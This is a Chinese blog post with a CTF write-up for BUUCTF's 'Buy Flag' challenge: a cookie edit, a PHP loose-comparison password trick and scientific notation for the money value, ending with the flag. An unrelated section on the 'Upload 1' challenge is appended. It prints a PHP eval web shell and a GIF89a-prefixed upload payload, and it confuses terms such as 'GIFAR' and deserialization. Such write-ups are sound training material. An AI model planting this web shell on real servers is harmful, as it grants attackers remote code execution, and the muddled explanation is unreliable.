[极客大挑战 2019]Buy Flag1(BUUCTF)

前言:

这篇文章还是是为了帮助一些

像我这样的菜鸟

找到简单的题解

题目描述

解题工具:

我爱用edit this cookie2和hackerbar,

当然也可以burpsuite和fiddler抓包

解题过程:

看到他说flag要100000000 MONEY,

还要是Cuit's students,

就知道肯定是cookie在捣鬼(一般身份验证就是cookie)

打开edit this cookie2

发现user值为0,果断加他改为1(要问为什么。。。直觉!!!)

看到多了一行字,要输密码

可是找来找去没地方输入,get也不行,只能用hackerbar来postdata了 

现在问题来了,密码是啥?

在源代码中找到

分析一下要post password和money

密码可以为"404a"

php弱类型比较:404==‘404xxxxx’

post后又多了一句话

要付钱,第六感告诉我money肯定是一个变量(以前写python游戏金钱是都用money变量)

post一下money

发现又多了一句话说money太长了

这个简单,用科学计数法表示即可

money=1e9

成功获得flag

flag{e161c567-ba12-4cbf-8ff8-acefc79fa369}

完成

### 关于 BUUCTF 极客挑战 2019 中 Upload 1 题目分析 #### 背景介绍 BUUCTF 是一个知名的网络安全竞赛平台,其中的极客挑战系列题目涵盖了多种安全漏洞利用技巧。Upload 1 属于文件上传类题目,在这类题目中通常会涉及到服务器端对于上传文件类型的验证机制以及可能存在的绕过方法。 #### 文件上传漏洞原理 当 Web 应用程序允许用户上传文件时,如果对上传的内容缺乏严格的安全检查,则可能导致攻击者能够上传恶意脚本并执行任意代码。常见的防御措施包括但不限于 MIME 类型检测、扩展名过滤等[^1]。 #### 解题思路 针对此题目的具体实现方式可以归纳为以下几个方面: - **MIME 类型伪造** PHP 使用 `$_FILES` 数组来处理上传的数据,默认情况下仅依赖客户端提供的 Content-Type 头部信息判断文件类型。然而这些头部是可以被轻易篡改的。因此可以通过修改 HTTP 请求中的相应部分使服务端误认为所提交的是合法图片而非其他形式的可执行文件。 - **PHP 后门植入** 利用上述手段成功上传 .php 结尾或其他能被执行解释器解析运行的文件之后,便可以在该文件内嵌入一段用于远程控制目标主机的小段落,比如一句话木马: ```php <?php @eval($_POST['cmd']);?> ``` - **绕过白名单限制** 如果存在基于文件头特征码(magic number)或者图像尺寸小等方面更严格的校验逻辑的话,那么就需要寻找特定格式下既满足条件又隐藏有潜在威胁特性的样本作为载体;或者是探索是否有其它途径可以直接影响到最终保存路径从而规避掉这部分审核流程。 #### 实际操作案例展示 假设当前环境已经确认支持 GIF89a 开始标记并且不会因为后续附加内容而报错的情况下,我们可以构造这样一个混合体——即所谓的“GIFAR”(Gif+Jar) 攻击向量: ```gif GIF89a; <?php @eval($_POST['cmd']);?> ``` 将其命名为 `.jpg.php` 或类似的双后缀命名模式尝试突破单纯的字符串匹配规则限制,并通过浏览器访问触发反序列化过程完成提权动作获取 shell 访问权限。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值